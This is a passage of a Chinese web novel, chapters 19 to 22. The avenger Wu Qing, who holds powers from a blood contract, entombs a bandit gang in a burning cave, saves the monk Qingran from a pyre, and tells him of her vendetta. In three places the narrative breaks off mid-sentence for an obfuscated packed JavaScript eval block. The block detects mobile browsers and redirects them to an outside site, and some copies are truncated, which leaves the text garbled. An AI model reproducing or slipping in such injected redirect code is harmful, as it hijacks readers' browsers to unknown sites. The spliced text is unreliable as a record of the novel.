“好!”底下传来阵阵高呼。 “今日双喜临门,我海底龙又收了个如花似玉的夫人。各位兄弟先吃好喝好,待会我叫人带她出来给诸位兄弟认认,以后她便是我海底龙的压寨夫人了!” “祝老大早生贵子!”席间众人起哄道。 “多谢多谢!” 说罢一些小喽啰给各个桌子上了几坛酒,又上了好些个酒菜。土匪们喝酒吃肉,好不尽兴。 海底龙唤了个手下走到跟前:“去看看我那夫人打扮好了没有,叫出来给诸位兄弟瞧瞧。” 那名手下得令朝卧房走去,走了没多久停在一间房门前,敲了敲门,推开一道门缝。 “夫人,寨主问你可打扮好了,若准备妥当就随我去见兄弟们,与寨主拜天地。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14611566|156119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吴青顶着红盖头坐在床沿,细声细语道:“你们山寨有多少兄弟?” “约莫七八十位兄弟。” “可都来齐了?” “来齐了,都坐在前面的大厅喝酒呢!” “好,你再等我片刻,我马上出来与兄弟们敬酒。” 那小喽啰听完便关上房门,站在门口等候。 前厅里,海底龙正与自己的手下喝酒划拳,忽然一阵酒坛碎裂的声音传来。 海底龙抬头朝人群吼道:“你们喝酒的都小心些!” “老大,这声音像是从门口传来,大厅里未见有酒坛碎地呀。”旁边的小喽啰立即道。 海底龙犹豫片刻,朝他指了指:“你去门口看看。” 那人听后立即朝门口跑去,不多时竟踉踉跄跄地跑回来,一脸惊慌失措的模样。 “不好了老大,门口着火了!一块巨石堵住了大门,出不去了!” “守门的兄弟呢!?” “小的唤了好几声,门外也无人应答。” “他奶奶的!叫兄弟们拿上家伙什,从另外的门出去!” 刚才还喝酒划拳的土匪们立时没了醉意,连忙拿上刀棍等武器朝别的洞门赶去。 还未走近洞口,便听得几个兄弟从洞口的方向赶来:“不好了!东门也被堵起来了!” 海底龙不信邪,仍去东门查看。只见一块巨大的山石将洞口结结实实地堵住,地上满是碎裂的酒坛和熊熊燃烧的火焰。 “去,把那石头推开!” 说完一群人跨过火焰合力去推堵住洞口的石头,可用劲全身力气,那石头仍纹丝不动。 “邪了门了!哪儿来的山石?”海底龙顿时慌了神。 “老大!”一个小喽啰慌慌张张地跑到海底龙跟前,“那女人不见了!” “哪个女人?” “就是那位捉来的压寨夫人!” “不是让你看着她么?她怎能逃出去?” “小的一直站在门口候着,见她总不出来就开门瞧了一眼,谁曾想那房里竟没人,可是房间里没别的出口……” “你是说她凭空消失了?”海底龙气急败坏地揪住小喽啰的衣领。 这时一个推石头的土匪忽地惨叫一声,只见火苗不知何时点燃了他的衣裳,他一时心急未注意脚下,竟被绊倒跌进火里。 “救我!救我!”那人在火中挣扎惨叫。 旁边的一人见状忙用自己的衣裳朝他身上扑打,却不经意间被飞溅的火焰砸中眼睛。他立即痛得捂住眼睛,在地上翻来滚去,叫声凄厉。 “快拿水来灭了这火!”海底龙嘶吼道。 被揪住衣领的小喽啰面露苦色道:“老大你忘了么?咱们这山寨里没蓄多少水,有的只是酒啊……” 海底龙急得咬紧牙关:“还有一道门,兄弟们跟我去西门!” 说完众人快步朝西门去。 “这西门位置偏僻,外面的人一时半会儿不会将它封住。” 随着在洞道里左拐右拐,众人终于在路的尽头看到一束光亮。 “有救了!有救了!”身后的土匪们连连喊道。 海底龙加速朝那亮光跑去,就在即将接近那亮光时,身后突然冒出一人跑得飞快,不惜将海底龙撞倒,发了疯似的欲抢先出洞。 “狗杂种!你跑得那么快做什么?”海底龙吃痛坐在地上,朝那人的背影大骂道。 只见那人飞速朝洞口跑去,可他刚一出洞,洞口的亮光却突然消失,外面似乎瞬间变成黑夜。 海底龙定睛望去,原来是一块巨石从天而降,遮天蔽日,直直地朝那刚出洞的人碾压过来。 只听得一声巨响,顿时飞沙走石,巨石严严实实地堵住了西门洞口,站在洞口的人刹那间被碾成血泥。 其余的土匪见状吓得目瞪口呆,缓了好一阵才回过神来。 “出不去了……我们出不去了……” 看到最后的出口也被堵住,一些人绝望地哭出声来,还有几个人仍不信邪地去推堵住洞门的石头。 “放我们出去!快放我们出去!” 海底龙坐在地上听着其他人撕心裂肺的喊叫,逐渐精神恍惚。他仔细回想经历的一切,试图找到蹊跷之处。 “一定是那个女人搞的鬼!”他瞪大眼睛,眼中燃烧着无法遏制的怒火。 “她是妖女……她是妖女!” 这时,山顶的悬崖边坐着一位红衣女子。她肩上披着红盖头,一只黑雾萦绕、只剩白骨的手不断地朝悬崖下施法,随即几块巨石飞过,将山下冒烟的地方堵得密不透风。 她冷眼谛听着随风而来、时有时无的哭嚎声,眼见已无青烟飘出,才停止施法。 “害群之马,就该待在地下,永生永世无出头之日……” 她将红盖头蒙住眼睛,只见整个世间,连同天边的残阳,都陷入一片血红之中。 她取下红盖头,拇指轻轻攥住边缘,任它在风中飞舞。 随即松开手指,使其飞向夕阳,将天际的云彩染得殷红似血…… 20. 第 20 章 落日藏在重重云彩之中,久久不愿离去,照得天空一片昏黄。 吴青站在峏山脚下朝山上望了最后一眼,随即背对夕阳而去。她借着暮色穿过山林,沿来时的路返回。待夜幕降临时,她走到了早晨出发的那座观音庙。 思量片刻,她走进庙宇,打算在此地歇脚。 烛火燃起,观音庙里的陈设和离开时没什么两样,清然早已离去,供桌上多出了一封信。 吴青借烛光偏头望去,见信封上竟写着自己的名字。 她拆开信封,信上写着一行字: 不想见他化为灰烬,就独自前来城东矮虎崖。 吴青将信封里的东西尽数倒出,掉出来一串念珠。 “清然……”她不禁将他的名字脱口而出,因为眼前的念珠实在眼熟。 夜色如墨,淡月笼纱,朦胧的月光倾洒在一处低矮的山崖之上。那山崖远看似伏虎,近看却有着一片宽阔的平地。 几支火把在山崖上熊熊燃烧,炽热的火焰随风摇曳,照亮了火把下的几张人脸。 “你说那妖女会来吗?” “我亲眼看见这和尚和那妖女从同一间庙里出来,而且在客栈里时,这和尚还跟着妖女出去,他们定是相识。” 说完那人朝身后搭建的木柴堆望去,只见接近一人高的木柴堆上竖了根木棍,清然的手脚都被缚住,牢牢地绑在木棍上。 “施主,贫僧已经说过了,那女子与贫僧并不相熟。现在已是深夜,她不会来的。”清然苦口婆心道。 “住嘴,否则我立马就将你烧成舍利子!” 这时火把下另一张人脸凑近道:“我看那妖女平日里最喜欢多管闲事,她若看了那封信定会前来。” 说话间远处的草里传来窸窸窣窣的声响,一只脚从黑夜里伸出,跨进火把照亮的边界。紧接着那人走进光亮里,一身红衣被火光照得十分耀眼。 “吴青!”火把下的几张人脸顿时警觉起来。 “你们几个怂货,敌不过我就找个和尚逼我露面,你们可知杀和尚是多大的罪过?” “敌不过你?昨日是谁落荒而逃?若不是你跑得快,你早就死在我们手上!” “跑得快也是一门本事。”吴青一脸不屑道。 “这和尚在我们手上,你若想救他,就拿出点诚意来。” “吴青,你别管我!”清然站在木堆上喊道,“他们想害你的性命,你快逃!” 吴青看向清然:“这个和尚只是与我见过几次面,你们抓了他也无用。” “能逼你现身就是有用,不过你若是觉得无用,我们烧了他也与你不相干!” 说完他朝旁人使了个眼色,那人见状立即取下火把,悬于木柴之上。 “这些木柴都浇了火油,只要我一声令下,他便会葬身火海。你平日不是专与我们过不去么?这回你做个了断,要么我们烧死他,要么你自断双臂,以慰王天在天之灵!” “卑鄙小人就是卑鄙小人,总是斩不尽,杀不绝。”吴青揭开手套瞥了一眼,随即朝火把下的几人道:“你们放了他,我就自断双臂。” “吴青!你这是做什么?”清然满眼惊愕道。 “闭嘴,臭和尚!”吴青朝他瞪了一眼,随即朝那几人走去。 “你过来做什么?” “我出门走得急,没带刀,借你的刀使使。” 那人听罢朝举火把的人道:“将你的短刀扔给她。” 举火把的人将火把调转了手,去解腰上的短刀。吴青见此机会立即抽出匕首朝他脸上掷去,那人痛叫一声,手里的火把掉在地上滚了几下,被沙土熄灭。 “贱人!”其余几人见状气急败坏道,随即其中一人一声令下,吴青的周围霎时冒出十几个人。 “原想给个机会让你自行了断,没想到你花招频出,今日定叫你死无葬身之地!兄弟们杀了她!” 话音刚落,那十几个人喊着杀声一哄而上。十几把刀朝吴青而来,吴青轻踩地面腾空而起,踩在刀尖上,朝那些人的脸踢了几脚,随即夺走倒地人的刀试图抵挡。朝她而来的刀接连不断,令她无暇还手,只得全力躲避格挡。 这时一把刀从天而下劈来,吴青瞅准机会迅速躬腰扭身,调转刀柄刺进他的腹部,随后踹了他一脚,身后的人未来得及反应便被他压倒在地。 吴青见状蓄力奔跑踩在他们身上,接着一个腾空转身,将刀一横,划破几人的咽喉,顿时鲜血四溅。 站在清然身旁的头领见此情形从身后拿出弓箭,借着火把的亮光对准吴青张弓搭箭。 清然看出他的意图立即朝吴青喊道:“小心暗箭!” 吴青听到他的呼喊朝他望去,却见那支箭矢已脱弓而出朝她飞来。她下意识施法抵挡,只见那箭放缓了速度,却未停下。吴青立即偏头,箭矢擦过她的脸颊,留下一阵刺痛。 还未来得及擦去脸上的鲜血,几个人又朝她而来,她只得提刀抵挡。 “吴青,既然你不顾这和尚的性命,那我便当着你的面烧死他!”说罢那头领取下火把朝清然走去。 清然站在木柴上注视着吴青搏杀的背影,缄口不言,只闭上眼睛,默默诵经。 那头领走近几步,刚要将火把掷于木柴上,只听得风中传来刀刃划过的声音。一把刀飞驰而来,将那头领的手腕直接斩断。 山崖上传来一声惨叫,木柴堆旁滚落一只断手,火把掉在地上却未熄灭。 那头领忍痛伸出另一只手将火把推向木柴,火星接触火油和干柴,立时燃烧起来,形成一个火圈。 清然站在火焰之中闭目诵经。 身上已无任何刀刃的吴青与剩下的几人来回周旋,见火光燃起,她的心中顿时充满了焦急和不安。 顾不得朝清然的方向看去,她蹲在地上看着那几人挥刀而来,随即一个滚身捡起草丛中的刀一横,划破那几人的脚踝,那几人痛叫一声倒在地上。 见场上都被清理干净,吴青这才脱身,朝清然跑去。 只见清然站在火海之中,干柴遇火发出噼里啪啦的声响,浓烟升空,遮蔽星月。火焰肆意腾空,约莫一人高,难以靠近。 吴青被火隔离在外,只能略微看清清然被火光照得发红的脸,他紧闭双眼,嘴里念念有词。 吴青心里立即咒骂道:这个秃驴,一副给别人超度的样子,倒像死的不是他自己。 她屏气调息,在脑海里竭力寻找救他的法子。 此地是荒野之所,没有他人可寻,只有满地伤残或早已咽气的躯体。吴青突然想到,在赶来的路上有一条浅河,可这河距此有一里地,用法力运过来费时费力,更何况刚刚与那群人交手时,她的法力已几近耗尽。 水,哪里有水? 吴青绞尽脑汁,突然心生一计。她闭上双眼,凝神聚气,抬起没有知觉的手,重新感知体内剩余的法力。她将法力传至脚底,又由脚底输送至土壤,汇聚于眼前那团滚烫的火焰之中。 站在火中的清然隐约感到地面在震动,周边的火舌在风中发出颤抖的声音,像是火中有股强大的能量想要突破禁锢。 突然,火光瞬灭,水花四溅。原本要吞噬清然的烈火,一瞬间变成喷溅飞舞的水浪,淋洒在清然脸上,尚有余温。 清然睁开眼睛,只见四周的土壤被火焰变成的水流浸湿,而不远处,传来吴青倒地的声音…… 一只乌鸦嘶声飞过,吴青躺在地上缓缓睁开眼睛,只觉浑身似绑上了秤砣,说不出的沉重和疲惫。 她打量四周,周围树木环绕,远处传来潺潺的流水声。 眼前只有一条绵延逶迤的窄路,吴青站起身沿路而行,转眼来到一条河边。 河上有一座木桥,搭建木桥的木头被雨水侵蚀,布满青苔。吴青抬脚步入桥上,一上木桥,桥上的木板发出吱吱呀呀的声音,好似脆弱不堪。静静听时,隐约有细微的碎裂声。 吴青扶着木桥栏杆,小心翼翼地踩着下一块木板,却不慎踩碎了一块。她抬脚一看,那块碎裂的木板上瞬间冒出密密麻麻的白蚁,行动十分迅速,甚至爬上了她的腿。她急忙抖动裤腿,将白蚁都甩进河里。可白蚁竟越来越多,很快布满整个桥面,它们疯狂地啃食木桥,声势浩大。 身后传来“咔擦”一声,吴青转身望去,只见桥面一块木板断裂掉进河里,被水流冲走。随即越来越多的木板被白蚁咬断,木桥开始向吴青站立的方向坍塌。吴青回过神来,加速往河边跑去,每踩一脚,木板都发出碎裂的声音。 吴青没有停下脚步也没有回望,她一口气跑到河岸。她的双脚一接触地面,那座木桥便在一阵轰鸣声中崩塌。所有的白蚁连同木桥,都淹没在湍急的河水中,被冲得一干二净。 头顶传来鸟儿振翅飞翔的声音,吴青抬头看,是一只乌鸦。它叫了一声,掠过乌云密布,雷声攒动的天空,钻进一片树林没了踪影。 “清然!你在哪儿?” 吴青站在树林前喊了一声,可无人应答。她鬼使神差进入这片树林,果然在林子深处一块空地上看到了清然。只见他闭目盘坐在一个台子上,这个台子被高高的木柴围住。 “清然!”吴青一面加快步伐,一面呼唤清然,可清然闭着眼睛一动不动,似乎没有听见。 吴青跑到离清然只有十几步远的位置时,四周突然冒出一伙人,手持利刃将她团团围住。 “吴青!终于让我们抓到你了!”领头的那人朝吴青发出尖锐的笑声。 她定睛望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14611567|156119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,那人却是在酒馆里被她数刀刺死的王天。可是王天没有死,好好地站在她的面前,穿着和酒馆里时一致,只是他的胸前有一滩血迹,血迹的中央插着一把匕首。 “你怎么没死?”吴青一脸疑惑道,她明明记得自己亲手用刀划破了王天的喉咙,可此刻,他的喉咙没有被划破。 “你在说什么?现在要死的人是你。”王天和众人大笑,他似乎看不见自己胸口上正插着把匕首。 “今天不是你死,就是他死。”王天挥刀指向清然,而清然此时竟面不改色地打坐参禅,仿佛听不见旁人的喧哗。 王天一声令下,他的小喽啰们挥刀嘶喊着向吴青冲来,这情景令她似曾相识。 吴青稳住心神,她准备等敌人一靠近就使用法力扭断他们的脖子。 可当打头阵的那人跑近时,吴青的法力刚刚触碰到他,他便瞬间变成了骷髅。他的身体变形,喊声消弭,变成一堆碎骨头散落在地上。 还没等吴青回过神,他后面的帮手冲了上来,将刀挥向吴青。吴青偏头躲闪,迅速抓住其中一人的手,用法力将他的手腕掰断。那人痛苦大叫,手里的刀滑落,吴青眼疾手快,接住大刀,捅进他的腹部,那人也瞬间变成一堆骷髅。 吴青握紧大刀,往后面冲上来的恶人身上劈砍,她速度极快,对面的人一个个应声倒地,变成一具具白骨。就在她顺势将刀捅进下一个人的腹部时,那人竟没有变成白骨。她抬头一看,这人胸口上插着把匕首,是王天。 王天空手抓住吴青的刀,口吐鲜血,他的脸和之前被吴青数刀扎死时的脸一模一样。 倏忽间,王天的脸变了,变成了一张她自己再熟悉不过的脸,吓得她松开手中的刀。 那是她自己的脸。 “吴青,你好狠的心,怎么连我也杀……” 她看到眼前的自己泪流满面,鲜血淋漓,手中紧紧抓着她刚刚刺进去的刀。吴青呆在原地,顿觉神情恍惚,脚下发软。低头时,只见自己的双手沾满了血,是自己的血…… 突然,前面火光冲天。吴青抬头一看,清然座台上的木柴不知被谁点燃,火焰瞬间升腾,一阵热浪袭来。清然被烈火灼烧,痛不欲生地叫着,他的喊声撕心裂肺、震耳欲聋。 “吴青!救我!” 吴青刚迈出一步,却见火焰忽然向四周蔓延,如同流动的火海,移动速度极快。刺眼的火光挟带着滚烫的热浪朝她奔涌而来,她努力睁开眼睛,却在睁眼的那一刻发现火焰已近在眼前,与她的眼球只有一厘之差,而她的耳边还传来清然痛苦的嘶喊。 “吴青!救我!” 吴青吓得睁开眼睛,原来刚刚是一场梦。 她的衣裳被汗水湿透,肢体僵直,一时动弹不得。 吴青转动眼珠观察四周,发现自己身处观音庙中,躺在观音像下。这庙她曾经来过,却从未注意过那座泥塑的观音像。 只见那观音像身形庞大,盘腿坐在莲花宝座上。头戴宝冠,肩披帔巾,手持杨柳。面容端庄祥和,眉如弯月,眼神似水,正静静地注视着吴青。观音慈祥的神态让吴青的内心渐渐平静,四肢也逐渐放松下来。 她透过屋顶残缺的瓦片,正好看见天上悬挂的一弯新月,此时正是深夜。 耳边传来干柴燃烧的声音,吴青支撑起酸软的身体,这才瞥到身旁还坐着个人。那人合掌闭目,安静地盘坐在篝火旁,衣角有灼烧的痕迹。 是清然。 吴青上一次见到清然还是在梦里,梦里的他被烈火灼烧,痛不欲生。可是现在他面容平和,安然自若地坐在她身边,与梦里的模样大相径庭。 吴青不禁仔细地端详着他,他瘦削的脸白中透红,火影不时在脸上闪动。微闭的嘴唇轮廓分明,鼻尖挺拔、带有棱角,衬得他脸庞的线条十分柔和。 他双目紧闭,弓样的眉睫悬在额下,与他平静的面容有些突兀。 吴青记得在梦里,清然一直闭着眼睛,于是她不由自主地盯住他的眼睛不放,像是等他醒来。 突然,他闭着的眼皮终于张开,露出清透明亮的眼眸,那双瞳孔里有一束火光闪动。 “你醒了?”清然打破沉寂。 吴青这才意识到自己一直盯着他的眼睛看。 她随口应了一声,眼神有些慌乱,直至飘落在篝火上。 “你感觉如何?”清然紧紧地盯住她,眼神充满关切。他眼里的火焰很是热烈,声音却平静柔和。 “好多了。”吴青瞥见他投过来的眼神,有些不适应,“就是篝火有些旺了。” 原来两人的脸都被火烤得发红,吴青摸着自己发烫的脸,心想怪不得梦里火烧到了脸上。 “你干柴加得太多了。”她有些怪责地说道。 21. 第 21 章 “是吗?”清然忙抽出几根柴火,火苗随即变小。 “我们怎么会在这里?”吴青问道。 “你救了我之后,就晕过去了,我背你来的观音庙。” “我记得你被绑在木桩上,你怎么脱的身?” 清然听后从身旁拿出一柄匕首递给吴青:“你先前杀的那人正好倒在离我不远的地方,我晃动木桩靠近他,拔出你的匕首割断了绳子。” “原来如此。”吴青接过匕首插进靴里,抬眼时却发现清然盯着自己的手。随即他转动眼眸,目光又落在她的脸上。 “你为何要这样看着我?”吴青忍不住道。 “没什么……”清然转过脸去,轻轻地皱了下眉头。 “我早就和你说过,我仇家不在少数,你跟着我迟早会被掳了去。现在你因我被抓,而我又救了你,咱们扯平了。” 清然若有所思地看着篝火,犹豫片刻道:“吴青姑娘,你是如何将火变成水的?” “因为我是妖女。”吴青装作一本正经的模样看着清然,试图从他的脸上看到不同的表情。 清然也抬眼看她,眼神没有一丝惊慌,反而充满担忧,神色也凝重起来。 吴青原想透过他的眼眸试探他的内心,却在对视后不久败下阵来。那双眼睛清澈见底,既可看清水里的鱼儿,也能看见自己的倒影。 “他们那样说你,你怎能也拿这事开玩笑?” 吴青见他恼了,只得道:“一个神仙赐给我的法力,有了法力自然能将火变成水。” “神仙?他为何赐给你法力?” “也许是他见我可怜罢。” “可怜的人不计其数,神仙为何偏偏选中你?” “神仙所想岂是我等凡人可轻易揣测的?” 清然暗暗叹了口气:“我看到你的手变成了骨头……” 吴青的脸上没有任何惊讶:“这个……我知道。” 他抬头望着吴青,继续说道:“还有你的脸,也成了骨头。吴青,这到底是怎么回事?” 吴青伸手摸了摸自己的脸:“可能是为了救你,法力用得太多。” “法力用得太多就会变成一具骷髅么?是哪位神仙给你的法力?” “你一个和尚管得这么多做什么?” 清然听罢突然凑近吴青,愤愤道:“可是你一个女子管得还少么?今日你从火堆里救下我,明日你若站在火堆里,谁来救你?你拼死救下贫僧,贫僧不能见你有难,却坐视不管!” 吴青见那双炽热的眼眸离自己如此之近,不由得低下头,伸手推开他,却被他抓住了手腕。 “你还想瞒到何时?若下回你再变成一具骷髅,要如何是好?” “变骷髅就变骷髅,我不在乎……” “可是我……” 吴青望着他,却未见他将话说完。 篝火熊熊燃烧,两人的心跳咚咚作响。 清然逐渐回过神来,缓缓松开吴青的手腕。 “贫僧失礼了。” 吴青看他坐回原位,一脸黯然神伤的模样,便脱口道:“是契约神。” “契约神?” “一只名为天禄的神兽,他说他是专管人间契约的契约神。我与他签订了血契,他许诺赐予我法力,而我死后,魂魄由他收回。” “收回了魂魄你还如何转世再生?”清然忙问道。 “再生?”吴青冷笑一声,“只是此生我便已经厌倦,难道还要转生将这人世的苦再尝一遍么?” “这代价未免太过沉重。”清然皱眉道。 “既可只活这一世,又能报仇,我有什么不答应的理由?” “你今日已经杀了方仙儿么?” “没有,他不在峏山。” “那你还要寻他么?” “当然,我一定要亲手杀了他,才能解我心头之恨!”吴青的眼中露出凶光。 清然叹息道:“可是你这一生不应只有仇恨,那些谋财害命的恶人也不该由你来了结。只要杀害一个生命,便会招致果报,你何苦要去承受这些?” 吴青摇了摇头:“对你来说是生命,对我来说他们和臭虫没什么区别。我厌恶他们,我见不得那些肮脏的人活在这世上!既然没人了结他们,那就由我了结!” “他们本该是要下地狱的人,你为何要随他们一起入地狱?” “我死后便不会再转生,哪里来的地狱?” “地狱又何止在转生时才有,人心也可成为地狱。” 吴青听了这话陷入沉默,盯着火焰一言不发。 清然望了她一眼,迟疑片刻道:“恕贫僧冒犯,你和方仙儿是如何结下仇恨的?” “……他与外来的贼寇狼狈为奸,为他们引路,血洗了吴家村。烧杀抢掠,无恶不作。我的爹娘和其它族亲都死在他们手上,方仙儿还将我奸污,丢弃在乱葬岗。”吴青顿了顿,眼中泛起泪花,“你说,他不该死么?” 清然看着她眼中凝起的水雾,只觉得似有一块巨石坠入心里,压得他心痛又说不出话来。 吴青凝望着眼前的火焰,继续道:“可是他这样的人偏偏福大命大。人们常说善有善报,恶有恶报,我怎么不见得?我去过佛寺,问寺庙里的方丈,那方丈对我说,最好的复仇是宽恕,方仙儿害死这么多人,将来他定有自己的报应。可是我左等右等,也等不来他的下场。后来我明白了,方丈让我宽恕,不过是因为死的不是他的亲人罢了。” 吴青擦去脸上的泪水,看向清然道:“清然,如果你是我,你能宽恕方仙儿么?” “我……我不知道。”清然声音颤抖道。 “我一开始也不知道,我以为随着时间我会忘掉,可是我忘不掉。我一闭上眼睛,就是吴家村遍地的尸首,我的爹娘在梦里问我为什么不替他们报仇,我不知道该如何回答……” “……只要方仙儿还存活在这世间,我便永生不得安宁。我不甘心,凭什么我们什么也没做却要承受这些痛苦?而那些恶人却能心安理得地苟活?只要想到他们和我同处一片天空下,我便觉得厌恶!” 火焰腾腾燃烧,火光在观音神像的脸上肆意闪烁。月光穿过破碎的瓦片,在地上形成斑驳的亮点。外间万籁俱寂,虫儿已进入深眠。 吴青将头埋入膝盖小声地抽泣,她的身子不时因哭泣而颤抖。 清然挪动身子靠近吴青,伸出一只手轻轻地抚摸着她的头发。他顺着发丝停在她的背上,随即用手掌轻柔地拍着她的背。 “对不起,贫僧不知你经历了这些。”清然一边安抚吴青,一边望着明月喟然长叹,“贫僧在宝竹寺里待了十年,每日烧香拜佛,从未下山。原以为念经拜佛便能为世人祈福,没想到世人的苦楚未减半分。贫僧念了十年的佛经,也拣不出一句话来化解你心中的痛苦。” 吴青缓缓抬起头,一双泪眼望着他。她的脸庞布满泪水,鬓角的发丝被泪水打湿,胡乱地粘在脸上。 清然忍不住伸手将她脸上的发丝拂去,又用拇指轻轻地擦去她眼角的泪水。 那双哭得发红的眼睛注视着他,不时落下几滴眼泪,在篝火的照耀下闪闪发光。 “你执意要杀了方仙儿么?”清然低声问道。 “我以自己的魂魄为代价,与契约神签订契约,就是为了杀死方仙儿,为我的亲人讨个公道。” “好,贫僧不再拦你,也无任何资格拦你。但贫僧愿和你一起去寻方仙儿,若你变成了骷髅,也好有个照应。” “好,不过你可要跟紧我,要是再被人掳了去,我可真要变成骷髅了。” 说完两人的嘴角都泛起了淡淡的笑意。 月亮穿过云层,在夜空中游走,随即悄然出现,照亮了站在庙门外的两位男子。 只见那二人站在门外静悄悄地听着,一个戴着狼脸面具的人听得庙里的谈话,不禁叹了口气。另一人则紧皱眉头,目光无神,思绪不知飘向了何处。 “没想到这份血契的立契人竟是一位女子。”面具人感慨道,他朝身旁望去,却见空无一人。那人已兀自离开观音庙,走了数丈之远。 “江公子,你要走倒是和我打声招呼。”他快走几步跟上江远倾。 “为何契约神要和吴青签订契约?他收取凡人的魂魄又是为了什么?”江远倾若有所思道。 “也许依你所说,契约神厌恶凡人,所以便借契约的由头夺取凡人的魂魄,让凡人永世不得超生。而吴青要杀的也是十恶不赦的恶人,正好合了契约神的意。” “这么看来契约神倒真是遵守了当初与天界的契约,利用凡人之手杀死凡人,一切都依契约而定,未有逾越,恐怕天界也不好说什么。” 周厉回头望了眼观音庙,朝江远倾道:“那我们来这儿还收取吴青姑娘的魂魄么?听他们的意思,是要去寻仇人。” “檐铃只是提醒我们契约生变,契约书上也只写了立契人死后收取其魂魄,并未提及只要超出每日额定法力就收取魂魄。”江远倾抬头仰望空中的明月,继续道:“要么是契约神未考虑到这点,要么就是他有意如此。” “他既是契约神,又怎会考虑不到这点?” “那我们就更不能贸然收取那位吴青姑娘的魂魄了,静观其变就是。” 周厉将双手环抱于胸前,叹了口气:“也不知吴青姑娘能否寻到她的仇人,她的身世与我倒有些相似。” “一直听闻边界有外贼侵扰,没想这几年朝廷不仅未将其镇压,反而放任其深入腹地,甚至发展到与当地流民贼寇勾结的地步。” “当今圣上难道不知此事么?”周厉不禁问道。 “皇上被奸臣蒙蔽,边关将领都去巴结那位刘承贤,哪里还有心思抵御外敌?打了败仗他们只会寻找诸多借口,说什么外贼难御。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我也不知晓。这是方仙儿的老家,自从被贼寇洗劫一空,他便跟着那些贼寇四处游荡,没有回来过。现下他刚拜的山头倒了,与他混迹的那些地痞流氓又被我杀光,他此刻定需要个藏身的地方。”说完吴青小心将门关好。 “你怎知他一定会回老家?” “我只是觉得他这些年跟着贼寇攫取钱财,需得有个藏匿财宝的地方。想来想去,最危险的地方便是最安全的地方,说不定他会将财宝藏在老家。”说话间吴青寻了处隐蔽的墙角坐下,“眼下我已没了他的踪迹,只能守株待兔。” 清然听后也坐在离吴青不远的墙边:“你方才说方仙儿跟随的那伙贼寇与将他家中洗劫一空的贼寇是同一伙人?” “没错,听说除了我们吴家村,那伙贼寇也劫掠了附近村落的几户人家,其中就包括这间方仙儿住过的屋子。与方仙儿相依为命的祖母也死在贼寇刀下,可他不但没有怨恨,还拜那群贼寇的老大为长兄,成了贼寇团伙的狗腿子,真是个没脸没皮的软骨头!” “看来此人为了求生,什么事都做得出来。”清然唏嘘道。 “他这种人只会为虎作伥,骨子里就是个欺软怕硬、贪生怕死的懦夫!”说完吴青露出了鄙夷的神色。 西边红日渐渐收回余晖,院中的最后一道日光也被围墙遮挡,围墙边的两人完全被暮色掩盖。 这时门外传来人声,吴青连忙拔出靴里的匕首朝门缝里望去。 只见两个农夫扛着锄头在门外攀谈,他们的裤脚沾满泥土,似是刚从田地里回来,路经此地。 “你听说了没?峏山的土匪一夜之间消失了。” “是官府将他们都捉拿了么?” “那里面的土匪时常孝敬衙门里的人,怎会是官府捉拿?” “那倒是奇事,难不成他们迁了地盘,不在峏山待了?” “他们在峏山待了这么久怎会舍得迁走?依我看是他们作孽太多,惹了神怒,老天爷看不下去将他们都灭了,要不然那么多土匪怎会说没就没了?” “罪有应得,他们早该有报应了!” “就是!” 说完那两人扛着锄头离开了,门外又陷入一片寂静。 吴青贴在门后,嘴角不禁露出得意的笑容。她坐回原位,却发现清然一脸疑色地看着自己。 “我记得你去过峏山。”清然轻声道。 “怎么?” “这事是你做的么?” “是我做的又如何?”吴青不以为然道。 “你把他们弄到哪儿去了?” “我不过是将他们都聚到洞里,添了一把火,再将那洞口都封住罢了。现在他们要么已经被火烧死,要么就是被烟呛死了。” “阿弥陀佛。”清然听后合掌诵起了经。 “你也听他们说了,那是群害人的土匪,我不过是为民除害。” 见他一言不发,吴青继续说道:“你想为他们超度就尽管超度罢,反正人我已经杀了。”说完吴青从袖子里拿出一个物件朝清然丢去,“超度的时候别忘了你的念珠。” 清然睁眼望去,竟是自己被掳走时丢失的念珠。 “怎会在你这里?” “你被掳走后,那群人给我留了封信,信里便有这串念珠,现在物归原主。” “多谢。”清然将念珠捡起,闭上眼睛继续诵经。 22. 第 22 章 天光淡去,夜幕降临。一张黑布笼罩天空,只留下满天星星点点的亮光。 吴青靠在墙角,在一片寂静声中仰望夜空中闪烁的星星。她偏头望向墙边的清然,只见他安静地坐在黑夜里,似一尊泥塑的佛像。 看他专心诵经,吴青不忍打扰,只百无聊赖地聆听着草里的虫鸣。 “吴青。”墙边传来他的低语。 “怎么了?”吴青望向清然,此时他睁开眼睛,目光却盯着黑暗中的某处。 “你有想过杀了方仙儿之后做什么么?” “这我倒没想过,也许是回去将吴家村的荷塘修整一番,种下莲藕,待到夏日便会有满池的荷花。” “吴家村还有荷塘?” “当然,我们吴家村是以种植荷花为生的。荷花开时可以采了花去卖,莲子既是药材也能煲汤,荷叶还能煮茶,莲藕就更不必说了。”吴青抬头看向满天的繁星,语气略遗憾道:“只是我从未见过红色的荷花。” “红色的荷花?”清然借星光端详着她的脸,只见她一副心驰神往的模样,秀丽的鼻尖高高抬起,轻点星芒。 